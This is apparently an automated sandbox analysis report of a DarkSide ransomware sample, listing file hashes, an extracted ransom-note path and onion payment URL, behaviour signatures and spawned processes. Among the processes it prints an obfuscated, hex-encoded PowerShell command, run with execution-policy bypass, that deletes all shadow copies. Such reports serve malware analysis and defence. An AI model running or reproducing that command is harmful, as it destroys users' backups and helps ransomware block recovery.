Analysis
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max time kernel
120s -
max time network
125s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
12-05-2021 19:34
General
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Target
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
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Size
59KB
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MD5
69ec3d1368adbe75f3766fc88bc64afc
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SHA1
11936a92144ef1b53eef16566a57b9052d173291
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SHA256
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add
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SHA512
58f0f04cb05221e9a50eab89924c45bccc15045e9552e10f39ebbb651eddc5d4fafd95a1ba80f4a6ab8d23c4d3dfff7669e2499650b328420c766cae82e439e8
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
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Modifies Control Panel 1 IoCs
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Modifies registry class 5 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Suspicious use of AdjustPrivilegeToken 25 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe"C:\Users\Admin\AppData\Local\Temp\508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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MD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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MD5
d49cd839be9415e6a233429576ad80eb
SHA19bbe7d8600f6f1abc1bcabd11554c90b9e6bc441
SHA256513bed9e0e2256f9e29f3387d96cec43039e699f34cabb3d7b3556f7fbcd4bcc
SHA512d74fc7c415a5499056701e5b21bbacb504ca73431b4c47f39a8b799a907e7213e724c65fa4e15e3bf900b5e6db9428150446e4fa92196e9a8de11640319555c8
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Filesize
4KB
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Filesize
4KB
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Filesize
8KB
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Filesize
8KB
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Filesize
8KB